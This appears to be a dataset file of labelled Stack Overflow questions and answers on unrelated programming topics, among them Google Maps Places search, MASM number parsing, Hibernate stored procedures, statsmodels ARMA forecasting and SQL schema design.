37210054	0	Show nearby therapist when user gives place input using google maps javascript api <p>I've integrated google maps javascript api in my web app to use some of its features. I am fetching the user's current location and displaying nearby physiotherapist based on their current location. Now I also want to display nearby physiotherapist base on user's input. Like I am using google search box, so whenever user will type some place and click on search, it will display all the nearby physiotherapist according to that input.</p> <p>I've implemented the following-</p> <ul> <li>Fetching current location</li> <li>Nearby physiotherapist based on current location</li> <li>Autocomplete search box</li> </ul> <p>What I want to achieve-</p> <ul> <li>Show nearby physiotherapist based on user's input (place)</li> </ul> <p>I am getting confused on how to achieve this. It would be great if someone can help me with this</p> <p><strong>Javascript</strong>:-</p> <pre><code>&lt;script&gt; // Determine support for Geolocation and get location or give error if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(displayPosition, errorFunction); } else { alert('It seems like Geolocation, which is required for this page, is not enabled in your browser. Please use a browser which supports it.'); } // Success callback function function displayPosition(pos) { var mylat = pos.coords.latitude; var mylong = pos.coords.longitude; //Load Google Map var latlng = new google.maps.LatLng(mylat, mylong); var myOptions = { zoom: 12, center: latlng, mapTypeId: google.maps.MapTypeId.ROADMAP }; var map = new google.maps.Map(document.getElementById("map"), myOptions); var infowindow = new google.maps.InfoWindow({ map: map }); // Places var request = { location: latlng, radius: '5000', type: ['physiotherapist'] }; var service = new google.maps.places.PlacesService(map); service.search( request, callback ); function callback(results, status) { if (status == google.maps.places.PlacesServiceStatus.OK) { for (var i = 0; i &lt; results.length; i++) { var place = results[i]; createMarker(results[i]); } } } function createMarker(place) { var placeLoc = place.geometry.location; var marker = new google.maps.Marker({ map: map, position: place.geometry.location }); google.maps.event.addListener(marker, 'click', function() { infowindow.setContent(place.name); infowindow.open(map, marker); }); } var marker = new google.maps.Marker({ position: latlng, map: map, title:"You're here" }); // Create the search box and link it to the UI element. var input = document.getElementById('pac-input'); var searchBox = new google.maps.places.SearchBox(input); map.controls[google.maps.ControlPosition.TOP_LEFT].push(input); // Bias the SearchBox results towards current map's viewport. map.addListener('bounds_changed', function() { searchBox.setBounds(map.getBounds()); }); var markers = []; // Listen for the event fired when the user selects a prediction and retrieve // more details for that place. searchBox.addListener('places_changed', function() { var places = searchBox.getPlaces(); if (places.length == 0) { return; } // Clear out the old markers. markers.forEach(function(marker) { marker.setMap(null); }); markers = []; // For each place, get the icon, name and location. var bounds = new google.maps.LatLngBounds(); places.forEach(function(place) { var icon = { url: place.icon, size: new google.maps.Size(71, 71), origin: new google.maps.Point(0, 0), anchor: new google.maps.Point(17, 34), scaledSize: new google.maps.Size(25, 25) }; // Create a marker for each place. markers.push(new google.maps.Marker({ map: map, icon: icon, title: place.name, position: place.geometry.location })); if (place.geometry.viewport) { // Only geocodes have viewport. bounds.union(place.geometry.viewport); } else { bounds.extend(place.geometry.location); } }); map.fitBounds(bounds); }); } // Error callback function function errorFunction(pos) { alert('It seems like your browser or phone has blocked our access to viewing your location. Please enable this before trying again.'); } &lt;/script&gt; </code></pre>
25242974	0	If div wider cut left side of div <p>I couldn't find anything similar that's why I need your help.</p> <p>I'm trying to do something similar to <a href="http://jsbin.com/xeniy/1/edit" rel="nofollow">this</a></p> <p>The idea is the inner div floated to left but when it became wider than the parent it's stick to the right side of the parent and part of the left side became hidden. And because the content dynamic I can't just change float when I need that. I tried at least ten different method but still couldn't figure out.</p>
16129329	0	 <p>This is all you need:</p> <pre><code>... &lt;key&gt;cell&lt;/key&gt; &lt;string&gt;PSButtonCell&lt;/string&gt; &lt;key&gt;action&lt;/key&gt; &lt;string&gt;buttonCellClicked:&lt;/string&gt; ... </code></pre> <p>This will make a button cell and send the <code>buttonCellClicked:</code> message on the preferences view controller.</p>
6346492	1	how to stop a for loop <p>I am writing a code to determine if every element in my nxn list is the same. i.e. [[0,0],[0,0]] returns true but [[0,1],[0,0]] will return false. I was thinking of writing a code that stops immediately when it finds an element that is not the same as the first element. i.e:</p> <pre><code>n=L[0][0] m=len(A) for i in range(m): for j in range(m): if L[i][j]==n: -continue the loop- else: -stop the loop- </code></pre> <p>I would like to stop this loop if <code>L[i][j]!==n</code> and return false. otherwise return true. How would I go about implementing this?</p>
28118476	0	my header-files (.h) are too large to render the 3d model in opengl es 2 <p>Im trying to render different 3D-models in open-gl ES 2. I created some models with Cinema4d and export them as an .obj wavefront file. Then I use the really helpful perl script (<a href="https://github.com/HBehrens/obj2opengl" rel="nofollow">https://github.com/HBehrens/obj2opengl</a>) to convert that into a headerfile. The reason for this is that the Vuforia (<a href="https://www.qualcomm.com/products/vuforia" rel="nofollow">https://www.qualcomm.com/products/vuforia</a>) Example, which supports augmented reality, render their models from a header-file too. My problem is, that the header file is often 7 times bigger than the .obj file (same model!) and the first rendering lets lagging my application. What can I do about this problem?</p>
3814533	0	 <p>sorry for question... are you sure that you check between 2 integer values?... and if yes... in the html that you have, do you have the background color in the TD elements of the table? If you have the color code in the html code, maybe it's a problem of css style definition.</p>
40691960	0	Masm 16bit converting Ascii to byte <p>I'm a beginner in assembly language and I have to find a solution fast.<br> The thing is I have to read a number from the person (3 digits), convert it to an integer and compare it to two values.<br> The problem is that after converting the comparisons are off, sometimes the result is correct sometimes it's not.</p> <pre><code>pile segment para stack 'pile' db 256 dup (0) pile ends data segment ageper db 4,5 dup(0) bigg db 13,10,"bigger than 146 ",13,10,"$" lesss db 13,10,"less than 0 ",13,10,"$" right db 13,10,"correct number 123 ",13,10,"$" theint db 0 exacnumber db 123 data ends code segment main proc far assume cs:code assume ds:data assume ss:pile mov ax,data mov ds,ax mov ah,0ah lea dx,ageper int 21h mov ch,0 cmp ageper[4],0 jz phase2 mov ah,ageper[4] sub ah,48 add theint,ah phase2: mov cl,10 cmp ageper[3],0 jz phase3 mov ah,ageper[3] sub ah,48 mov al,ah mul cl add theint,al phase3: mov cl,100 cmp ageper[2],0 jz phase4 mov ah,ageper[2] sub ah,48 mov al,ah mul cl add theint,al phase4: cmp theint,123 je yes cmp theint,130 jg big cmp theint,0 jl less jmp ending big: mov ah,09h lea dx,bigg int 21h jmp ending yes: mov ah,09h lea dx,right int 21h jmp ending less: mov ah,09h lea dx,lesss int 21h ending: mov ageper,20 mov ageper[1],20 mov ah,02 lea dx,theint int 21h mov ah,4ch int 21h main endp code ends end main </code></pre>
35502612	0	How to grow computational thinking <p>As a beginner java programmer,I found how I think in terms of solving a problem is more important than how much of the language and built in methods/shortcuts I know.My worst enemy in learning the programming language is when I get stuck and don't know how to approach.I was wondering is there any good book that will enhance my computation thinking and problem solving abilities?I can persevere and solve problems but I feel I lack tools/insights required.</p>
11395123	0	how to execute the stored procedure in hibernate 3 <p>I am new in hibernate. I am using hibernate 3 in my application using hibernate annotations , I am developing application in struts 1.3. </p> <p>My question is : I have googled a lot but could not understand how to call a stored procedure in <strong>hibernate using annotations</strong> , I have a simple scenario : suppose I have 2 fields in my jsp say 1) code 2) name , I have created a stored procedure in database for inserting those records into table. Now my problem is that how to execute it</p> <pre><code> List&lt;MyBean&gt; list = sessionFactory.getCurrentSession() .getNamedQuery("mySp") .setParameter("code", code) .setParameter("name", name) </code></pre> <p>I don't know the exact code how to do this. But I guess something like that actually I come from jdbc background therefore have no idea how to do this and same thing I want when <strong>selecting</strong> the data from database using stored procedure.</p>
6872347	0	Overloading operator== <p>Guys I have some silly struct let's call it X and I also have a fnc (not a member of it) returning a pointer to this struct so it looks like so: </p> <pre><code> struct X { bool operator==(const X* right) { //... } }; X* get(X* another) { //... } </code></pre> <p>I also have line in code which 'tries' to compare pointers to those structs but the real intention is to compare those structs pointed to:</p> <pre><code>if (get(a) == get(b))//here obviously I have two pointers returned to be compared { //... } </code></pre> <p>I also defined member of <code>X operator==(const X* right)</code> which suppose to work in situations aforementioned but for reason I do not understand it doesn't. How to make it work (I CANNOT change the line <code>if (get(a) == get(b))</code> and also <code>get</code> MUST return pointer).</p>
37612866	0	 <p>use the below code:</p> <pre><code>WebElement elem = driver.findElement(By.xpath("//*[contains(text(),'Crème Banana Curd')]")); elem.getText(); </code></pre> <p>hope this will help you.</p>
37713932	0	What Language and Graphics Library is CLion made in? <p>I was wondering what language the CLion IDE was written in, and what Library is used to make the graphics for it.</p>
19757403	0	 <p>You can evaluate <code>data$err[i]</code> in the outer loop.</p> <pre><code>for (i in 1:nrow(data)){ n.tmp &lt;- d.tmp &lt;- 0 datai &lt;- data$err[i] for (j in i:nrow(data)){ wt &lt;- some.step.function(data$X[j] + datai) n.tmp &lt;- n.tmp + data$Y[j] / wt d.tmp &lt;- d.tmp + 1 / wt } n[i] &lt;- n.tmp d[i] &lt;- d.tmp } </code></pre>
19678530	0	 <p>It's somewhat subjective. I personally would prefer the latter, since it does not impose the cost of copying the vector onto the caller (but the caller is still free to make the copy if they so choose).</p>
26379546	0	 <p>That you have a third action like this</p> <pre><code> public string Index(int id) { return "int"; } </code></pre> <p>would explain this behaviour</p> <p>of course you don't need the parameterless action either, that's just a special case of the message one, where message is empty</p>
34790328	0	 <p>You don't need to do the roundtrip to DatetimeIndex, as these methods are avaliable for a Series (column) as well through the <code>dt</code> accessor:</p> <pre><code>aht['call_start'] = aht['start'].dt.tz_localize('US/Eastern').dt.tz_convert('US/Central') </code></pre> <p>And the same for <code>end</code>.<br> To remove the timezone information but keep it in the local time, you do another <code>.dt.tz_localize(None)</code> afterwards (see this question: <a href="http://stackoverflow.com/a/34687479/653364">http://stackoverflow.com/a/34687479/653364</a>)</p>
26965690	0	 <p>If you are using windows machine try downloading binaries from here <a href="http://www.lfd.uci.edu/~gohlke/pythonlibs/" rel="nofollow">download python libraries</a></p> <p>Here you have an option to provide to which version of python you are trying to install. </p>
40493624	0	 <p>The solution to your question depends highly on the device you are using. If you have a phone with a dedicated PTT button, the manufacturer of the phone almost certainly has made an Intent available for app developers such as yourself to intercept PTT down and up events, but you'll need to contact the manufacturer for more information.</p> <p>For instance, phones from Kyocera, Sonim, and Casio have such Intents available, and you'd simply need to put a receiver declaration in your AndroidManifest.xml, like this for a Kyocera phone:</p> <pre><code> &lt;receiver android:exported="true" android:name="com.myapp.receiver.KeyReceiverKyocera"&gt; &lt;intent-filter android:priority="9999999"&gt; &lt;action android:name="com.kodiak.intent.action.PTT_BUTTON" /&gt; &lt;action android:name="com.kyocera.android.intent.action.PTT_BUTTON" /&gt; &lt;/intent-filter&gt; &lt;/receiver&gt; </code></pre> <p>Then, a simple BroadcastReceiver class that receives the up and down intents:</p> <pre><code>public class KeyReceiverKyocera extends BroadcastReceiver { private static boolean keyDown = false; @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); if (keyDown) processPTTDown(); else processPTTUp(); keyDown = !keyDown; } } </code></pre> <p>Hope this helps,</p> <p>Shawn</p>
10033657	0	 <p>Give <code>TryUpdateModel(model)</code> a try, should fit your needs. </p> <p>This won't throw an exception, <strong>and it will</strong> update the model and then return <code>false</code> if there are validation errors.</p> <p>If you care about the errors, you check the <code>ModelState</code> in the false instance.</p> <p>Hence, you can use it as so to always save changes:</p> <pre><code>[HttpPost] public ActionResult Save(Model values) { var model = new Model(); TryUpdateModel(model); model.saveChanges(); } </code></pre>
27931571	1	ARMA.predict for out-of sample forecast does not work with floating points? <p>After i developed my little ARMAX-forecasting model for in-sample analysis i´d like to predict some data out of sample. </p> <p>The time series i use for forecasting calculation starts at 2013-01-01 and ends at 2013-12-31! </p> <p>Here is my data I am working with: </p> <pre><code>hr = np.loadtxt("Data_2013_17.txt") index = date_range(start='2013-1-1', end='2013-12-31', freq='D') df = pd.DataFrame(hr, index=index) holidays = ['2013-1-1', '2013-3-29', '2013-4-1', '2013-5-1', '2013-5-9', '2013-5-20', '2013-10-3', '2013-12-25', '2013-12-26'] # holidays for all Bundesländer idx = df.asfreq('B').index - DatetimeIndex(holidays) indexed_df = df.reindex(idx) # indexed_df = df.asfreq('B') (includes holidays) # 'D'=day #'B'=business day # W@MON=shows only mondays # external variable hr_ = np.loadtxt("Data_2_2013.txt") index = date_range(start='2013-1-1', end='2013-12-31', freq='D') df = pd.DataFrame(hr_, index=index) idx2 = df.asfreq('B').index - DatetimeIndex(holidays) external_df1 = df.reindex(idx2) external_df = external_df1.fillna(external_df1.mean()) </code></pre> <p>Out: </p> <pre><code> 0 2013-01-02 49.56 2013-01-03 48.09 2013-01-04 36.79 2013-01-07 60.84 2013-01-08 59.72 2013-01-09 61.88 2013-01-10 57.95 2013-01-11 56.29 2013-01-14 57.89 2013-01-15 64.49 2013-01-16 58.92 2013-01-17 62.30 2013-01-18 55.92 2013-01-21 55.67 2013-01-22 60.73 2013-01-23 60.12 2013-01-24 65.70 2013-01-25 55.15 2013-01-28 51.79 2013-01-29 39.69 2013-01-30 37.90 2013-01-31 37.60 2013-02-01 41.26 2013-02-04 29.18 2013-02-05 39.55 2013-02-06 47.57 2013-02-07 51.97 2013-02-08 46.95 2013-02-11 42.79 2013-02-12 51.83 ... ... 2013-11-18 58.04 2013-11-19 62.96 2013-11-20 63.90 2013-11-21 64.09 2013-11-22 64.78 2013-11-25 59.59 2013-11-26 70.69 2013-11-27 61.57 2013-11-28 47.87 2013-11-29 34.61 2013-12-02 68.77 2013-12-03 77.84 2013-12-04 63.09 2013-12-05 40.94 2013-12-06 38.60 2013-12-09 65.79 2013-12-10 68.98 2013-12-11 77.86 2013-12-12 76.44 2013-12-13 85.90 2013-12-16 53.51 2013-12-17 73.67 2013-12-18 59.76 2013-12-19 53.11 2013-12-20 38.33 2013-12-23 36.93 2013-12-24 11.30 2013-12-27 30.32 2013-12-30 39.94 2013-12-31 31.27 [252 rows x 1 columns] 0 2013-01-02 70770 2013-01-03 74155 2013-01-04 74286 2013-01-07 75360 2013-01-08 76910 2013-01-09 78561 2013-01-10 77427 2013-01-11 75260 2013-01-14 78738 2013-01-15 78286 2013-01-16 79568 2013-01-17 79761 2013-01-18 77518 2013-01-21 80089 2013-01-22 79915 2013-01-23 78607 2013-01-24 79761 2013-01-25 77908 2013-01-28 79873 2013-01-29 80535 2013-01-30 76340 2013-01-31 78244 2013-02-01 77749 2013-02-04 79125 2013-02-05 79001 2013-02-06 77837 2013-02-07 77495 2013-02-08 75372 2013-02-11 73856 2013-02-12 77494 ... ... 2013-11-18 76292 2013-11-19 77420 2013-11-20 74993 2013-11-21 76658 2013-11-22 74769 2013-11-25 78347 2013-11-26 77756 2013-11-27 79648 2013-11-28 80075 2013-11-29 78587 2013-12-02 76867 2013-12-03 76070 2013-12-04 80344 2013-12-05 81736 2013-12-06 79617 2013-12-09 78085 2013-12-10 78430 2013-12-11 78120 2013-12-12 77735 2013-12-13 75872 2013-12-16 78651 2013-12-17 76180 2013-12-18 75867 2013-12-19 76018 2013-12-20 71101 2013-12-23 66841 2013-12-24 64557 2013-12-27 66747 2013-12-30 64787 2013-12-31 61101 [252 rows x 1 columns] Descriptive statistics of ts: 0 count 252.000000 mean 44.583651 std 11.708938 min 11.300000 25% 34.597500 50% 44.200000 75% 51.947500 max 85.900000 Skewness of endog_var: [ 0.44315988] Kurtsosis of endog_var: [ 3.18049689] Correlation hr &amp; hr_: (0.71074420030220553, 2.0635001219278823e-57) Augmented Dickey-Fuller Test for endog_var: (-2.9282259926181839, 0.042162780619902182, {'5%': -2.8698573654386559, '1%': -3.4492269328800189, '10%': -2.5712010851306641}, &lt;statsmodels.tsa.stattools.ResultsStore object at 0x111e2ca50&gt;) </code></pre> <p>Selection of p and q values: </p> <p>In: arma_mod = sm.tsa.ARMA(indexed_df, (3,3), external_df).fit() z = arma_mod.params print 'P- and Q-Values:' print z</p> <p>Out: </p> <pre><code>P- and Q-Values: const 19.674538 0 0.000345 ar.L1.0 -0.062796 ar.L2.0 0.340800 ar.L3.0 0.436345 ma.L1.0 0.613498 ma.L2.0 0.057267 ma.L3.0 -0.415455 dtype: float64 /Applications/anaconda/lib/python2.7/site-packages/statsmodels-0.6.1-py2.7-macosx-10.5-x86_64.egg/statsmodels/base/model.py:466: ConvergenceWarning: Maximum Likelihood optimization failed to converge. Check mle_retvals "Check mle_retvals", ConvergenceWarning) </code></pre> <p>Here´s what i do to forecast out of sample: </p> <p>In: </p> <pre><code>start_pred = '2014-1-3' end_pred = '2014-1-3' predict_price1 = arma_mod1.predict(start_pred, end_pred, external_df)#, dynamic=True) print ('Predicted Price (ARMAX): {}' .format(predict_price1)) </code></pre> <p>Out: </p> <pre><code>Traceback (most recent call last): File "&lt;ipython-input-34-ad7feec95e4a&gt;", line 6, in &lt;module&gt; predict_price1 = arma_mod1.predict(start_pred, end_pred, external_df)#, dynamic=True) File "/Applications/anaconda/lib/python2.7/site-packages/statsmodels-0.6.1-py2.7-macosx-10.5-x86_64.egg/statsmodels/base/wrapper.py", line 92, in wrapper return data.wrap_output(func(results, *args, **kwargs), how) File "/Applications/anaconda/lib/python2.7/site-packages/statsmodels-0.6.1-py2.7-macosx-10.5-x86_64.egg/statsmodels/tsa/arima_model.py", line 1441, in predict return self.model.predict(self.params, start, end, exog, dynamic) File "/Applications/anaconda/lib/python2.7/site-packages/statsmodels-0.6.1-py2.7-macosx-10.5-x86_64.egg/statsmodels/tsa/arima_model.py", line 711, in predict start = self._get_predict_start(start, dynamic) File "/Applications/anaconda/lib/python2.7/site-packages/statsmodels-0.6.1-py2.7-macosx-10.5-x86_64.egg/statsmodels/tsa/arima_model.py", line 646, in _get_predict_start method) File "/Applications/anaconda/lib/python2.7/site-packages/statsmodels-0.6.1-py2.7-macosx-10.5-x86_64.egg/statsmodels/tsa/arima_model.py", line 376, in _validate start = _index_date(start, dates) File "/Applications/anaconda/lib/python2.7/site-packages/statsmodels-0.6.1-py2.7-macosx-10.5-x86_64.egg/statsmodels/tsa/base/datetools.py", line 57, in _index_date "an integer" % date) ValueError: There is no frequency for these dates and date 2014-01-03 00:00:00 is not in dates index. Try giving a date that is in the dates index or use an integer </code></pre> <p>I DO NOT UNDERSTAND THIS ERROR! </p> <p>The arima source-code i.e. 'datetools.py' tells me the following: </p> <pre><code> except KeyError as err: freq = _infer_freq(dates) if freq is None: #TODO: try to intelligently roll forward onto a date in the # index. Waiting to drop pandas 0.7.x support so this is # cleaner to do. raise ValueError("There is no frequency for these dates and " "date %s is not in dates index. Try giving a " "date that is in the dates index or use " "an integer" % date) # we can start prediction at the end of endog if _idx_from_dates(dates[-1], date, freq) == 1: return len(dates) raise ValueError("date %s not in date index. Try giving a " "date that is in the dates index or use an integer" % date) def _date_from_idx(d1, idx, freq): """ Returns the date from an index beyond the end of a date series. d1 is the datetime of the last date in the series. idx is the index distance of how far the next date should be from d1. Ie., 1 gives the next date from d1 at freq. Notes ----- This does not do any rounding to make sure that d1 is actually on the offset. For now, this needs to be taken care of before you get here. """ </code></pre> <p>So that means that it should be possible to forecast out of sample. i just do not understand where and how i need to change my objects?!</p> <p>I found some older posts but they wont tell me what to do neither: <a href="http://stackoverflow.com/questions/27258465/python-out-of-sample-forecasting-arima-predict">Python out of sample forecasting ARIMA predict()</a> and <a href="http://stats.stackexchange.com/questions/76160/im-not-sure-that-statsmodels-is-predicting-out-of-sample">http://stats.stackexchange.com/questions/76160/im-not-sure-that-statsmodels-is-predicting-out-of-sample</a></p> <p>How to forecast data out of sample with the given information above? </p> <p>Help much appreciated</p>
36428238	0	Can I escape a color code in Powershell so I do not need to use -ForeGroundColor? <p>Is it possible to use some color-code escape character so that I do not need to mention -ForeGroundColor parameter?</p> <p>So instead of :</p> <pre><code>write-Host "Hello World!" -ForegroundColor:Blue </code></pre> <p>Can I do something like:</p> <pre><code>write-Host "Hello \{somethinghere to denote from this point it will be in BLUE color} World!" </code></pre>
4434625	0	Why are string in .net case sensitive by default? <p>Most times I want to do string comparisons I want them to be case insensitive.</p> <p>So why are string in .net case sensitive by default?</p> <p><strong>EDIT 1:</strong> To be clear I think the below should return true by default. Or at least allow me to have a compile time flag that makes it so.</p> <pre><code>"John Smith" == "JOHN SMITH" </code></pre> <p><strong>EDIT 2:</strong> I can think of many more examples of things that should be case insensitive</p> <p>Examples of things that should be case insensitive</p> <ul> <li>Usernames</li> <li>Urls</li> <li>File extensions / File names / Directory names / Paths </li> <li>Machine / servernames</li> <li>State / Country / Location etc</li> <li>FirstName / LastName / Initials</li> <li>Guids</li> <li>Month / Day names</li> </ul> <p>Examples of things that should be case sensitive</p> <ul> <li>Passwords</li> </ul>
25766370	0	Gradle and Maven compile my project but I am getting NoClassFoundError <p>I am trying to compile my project which uses Gradle and Maven. The project use another library on my local maven repository. The library is referenced in Gradle and Maven:</p> <p>Gradle:</p> <pre><code>dependencies{ compile 'cf.charly1811.java.utils:MimeType:1.0' } </code></pre> <p>Maven:</p> <pre class="lang-xml prettyprint-override"><code>&lt;!-- Dependencies --&gt; &lt;dependencies&gt; &lt;dependency&gt; &lt;groupId&gt;cf.charly1811.java.utils&lt;/groupId&gt; &lt;artifactId&gt;MimeType&lt;/artifactId&gt; &lt;version&gt;1.0&lt;/version&gt; &lt;/dependency&gt; &lt;/dependencies&gt; </code></pre> <p>When I try compile the project using <code>mvn clean package</code> or <code>gradle clean jar</code> it success. The error arises when the MimeType class is called:</p> <pre><code> Exception in thread "Thread-4" java.lang.NoClassDefFoundError: cf/charly1811/java/utils/MimeType at cf.charly1811.java.web.RequestHandlerThread.process(RequestHandlerThread.java:120) at cf.charly1811.java.web.RequestHandlerThread.handleRequest(RequestHandlerThread.java:85) at cf.charly1811.java.web.RequestHandlerThread.run(RequestHandlerThread.java:64) Caused by: java.lang.ClassNotFoundException: cf.charly1811.java.utils.MimeType at java.net.URLClassLoader$1.run(Unknown Source) at java.net.URLClassLoader$1.run(Unknown Source) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) ... 3 more </code></pre> <p>I don't know what causing this error... Please help.</p> <p>EDIT: MimeType pom.xml: </p> <pre class="lang-xml prettyprint-override"><code>&lt;project&gt; &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt; &lt;name&gt;MimeType&lt;/name&gt; &lt;description&gt;Library to easily get the type of a file&lt;/description&gt; &lt;groupId&gt;cf.charly1811.java.utils&lt;/groupId&gt; &lt;artifactId&gt;MimeType&lt;/artifactId&gt; &lt;version&gt;1.0&lt;/version&gt; &lt;licenses&gt; &lt;license&gt; &lt;name&gt;Apache License, Version 2.0&lt;/name&gt; &lt;url&gt;http://www.apache.org/licenses/LICENSE-2.0.txt&lt;/url&gt; &lt;distribution&gt;repo&lt;/distribution&gt; &lt;comments&gt;A business-friendly OSS license&lt;/comments&gt; &lt;/license&gt; &lt;/licenses&gt; &lt;/project&gt; </code></pre> <p>HttpServer (Main project) pom.xml</p> <pre class="lang-xml prettyprint-override"><code>&lt;project&gt; &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt; &lt;name&gt;HttpServer&lt;/name&gt; &lt;description&gt;A simple HTTP Server written in JAVA&lt;/description&gt; &lt;groupId&gt;cf.charly1811.java.web&lt;/groupId&gt; &lt;artifactId&gt;HttpServer&lt;/artifactId&gt; &lt;version&gt;1.0&lt;/version&gt; &lt;!-- Dependencies --&gt; &lt;dependencies&gt; &lt;dependency&gt; &lt;groupId&gt;cf.charly1811.java.utils&lt;/groupId&gt; &lt;artifactId&gt;MimeType&lt;/artifactId&gt; &lt;version&gt;1.0&lt;/version&gt; &lt;/dependency&gt; &lt;/dependencies&gt; &lt;!-- License --&gt; &lt;licenses&gt; &lt;license&gt; &lt;name&gt;Private use&lt;/name&gt; &lt;url&gt;http://choosealicense.com/licenses/no-license/&lt;/url&gt; &lt;comments&gt;This Software is for private use Only&lt;/comments&gt; &lt;/license&gt; &lt;/licenses&gt; &lt;build&gt; &lt;plugins&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt; &lt;artifactId&gt;maven-jar-plugin&lt;/artifactId&gt; &lt;configuration&gt; &lt;archive&gt; &lt;manifest&gt; &lt;addClasspath&gt;true&lt;/addClasspath&gt; &lt;mainClass&gt;cf.charly1811.java.Main&lt;/mainClass&gt; &lt;/manifest&gt; &lt;/archive&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;/plugins&gt; &lt;/build&gt; &lt;/project&gt; </code></pre> <p>EDIT I forgot to clarify 1 thing: I use IntelliJ IDEA. When I try to compile the project using "Run" It compile everything and I don't get this error. It only happen when I use Gradle or Maven to compile the project</p>
11409130	0	 <p><a href="https://en.wikipedia.org/wiki/Strassen_algorithm" rel="nofollow">https://en.wikipedia.org/wiki/Strassen_algorithm</a></p> <p>You can even find it in video lectures at MIT Opencourseware Intro to Algorithms course or Stanford's Algorithms course</p>
24559490	0	 <p>Okay, with the help of Syfors' suggestions i have change the relationship between A and B:</p> <pre><code>class Aa implements Serializable { @Id @GeneratedValue(strategy = GenerationType.AUTO) private Long id; private String value; } @Entity class A implements Serializable { @Id @GeneratedValue(strategy = GenerationType.AUTO) private Long id; @JoinColumn(nullable = false) @OneToOne private Aa aa; @OneToMany(fetch = FetchType.EAGER, cascade = {CascadeType.ALL}, mappedBy = "owner") private List&lt;B&gt; data; } @Entity class B implements Serializable { @Id @GeneratedValue(strategy = GenerationType.AUTO) private Long id; @OneToOne private A owner; private String value; } </code></pre> <p>I have also found:</p> <blockquote> <p>[...]Normally it is best to define the ManyToOne back reference in Java[...]</p> </blockquote> <p>Source: <a href="http://en.wikibooks.org/wiki/Java_Persistence/OneToMany" rel="nofollow">http://en.wikibooks.org/wiki/Java_Persistence/OneToMany</a></p> <p>Now JPA doesn't generate a thrid table for the m:1 relationship and now my JPQL query works fine:</p> <pre><code>DELETE FROM B b WHERE b.id IN(SELECT k.id FROM A a JOIN a.data k WHERE a.id = :id) </code></pre>
6262010	0	 <p>Okay, this answer is SQL Server specific, but should be adaptable to other RDBMSs, with a little work. So far as I see, we have the following constraints:</p> <ul> <li>An invoice may be associated with 0 or 1 Work Orders</li> <li>A Work Order must be associated with an invoice or an ABC or a DEF</li> </ul> <p>I'd design the WorkOrder table as follows:</p> <pre><code>CREATE TABLE WorkOrder ( WorkOrderID int IDENTITY(1,1) not null, /* Other Columns */ InvoiceID int null, ABCID int null, DEFID int null, /* Etc for other possible links */ constraint PK_WorkOrder PRIMARY KEY (WorkOrderID), constraint FK_WorkOrder_Invoices FOREIGN KEY (InvoiceID) references Invoice (InvoiceID), constraint FK_WorkOrder_ABC FOREIGN KEY (ABCID) references ABC (ABCID), /* Etc for other FKs */ constraint CK_WorkOrders_SingleFK CHECK ( CASE WHEN InvoiceID is null THEN 0 ELSE 1 END + CASE WHEN ABCID is null THEN 0 ELSE 1 END + CASE WHEN DEFID is null THEN 0 ELSE 1 END /* + other FK columns */ = 1 ) ) </code></pre> <p>So, basically, this table is constrained to only FK to one other table, no matter how many PKs are defined. If necessary, a computed column could tell you the "Type" of item that this is linked to, based on which FK column is non-null, or the type and a single int column could be real columns, and InvoiceID, ABCID, etc could be computed columns.</p> <p>The final thing to ensure is that an invoice only has 0 or 1 Work Orders. If your RDMBS ignores nulls in unique constraints, this is as simple as applying such a constraint to each FK column. For SQL Server, you need to use a filtered index (>=2008) or an indexed view (&lt;=2005). I'll just show the filtered index:</p> <pre><code>CREATE UNIQUE INDEX IX_WorkItems_UniqueInvoices on WorkItem (InvoiceID) where (InvoiceID is not null) </code></pre> <hr> <p>Another way to deal with keeping WorkOrders straight is to include a WorkOrder type column in WorkOrder (e.g. 'Invoice','ABC','DEF'), including a computed or column constrained by check constraint to contain the matching value in the link table, and introduce a second foreign key:</p> <pre><code>CREATE TABLE WorkOrder ( WorkOrderID int IDENTITY(1,1) not null, Type varchar(10) not null, constraint PK_WorkOrder PRIMARY KEY (WorkOrderID), constraint UQ_WorkOrder_TypeCheck UNIQUE (WorkOrderID,Type), constraint CK_WorkOrder_Types CHECK (Type in ('INVOICE','ABC','DEF')) ) CREATE TABLE Invoice_WorkOrder ( InvoiceID int not null, WorkOrderID int not null, Type varchar(10) not null default 'INVOICE', constraint PK_Invoice_WorkOrder PRIMARY KEY (InvoiceID), constraint UQ_Invoice_WorkOrder_OrderIDs UNIQUE (WorkOrderID), constraint FK_Invoice_WorkOrder_Invoice FOREIGN KEY (InvoiceID) references Invoice (InvoiceID), constraint FK_Invoice_WorkOrder_WorkOrder FOREIGN KEY (WorkOrderID) references WorkOrder (WorkOrderID), constraint FK_Invoice_WorkOrder_TypeCheck FOREIGN KEY (WorkOrderID,Type) references WorkOrder (WorkOrderID,Type), constraint CK_Invoice_WorkOrder_Type CHECK (Type = 'INVOICE') ) </code></pre> <p>The only disadvantage to this model, although closer to your original proposal, is that you can have a work order that isn't actually linked to any other item (although it claims to be for an e.g INVOICE).</p>
13092533	0	ZSH auto_vim (like auto_cd) <p>zsh has a feature (auto_cd) where just typing the directory name will automatically go to (cd) that directory. I'm curious if there would be a way to configure zsh to do something similar with file names, automatically open files with vim if I type only a file name?</p>
24097047	0	 <p>As Craig said, indexes are only used internally to the database so the index names are not important - but in PostgreSQL they must be unique.</p>
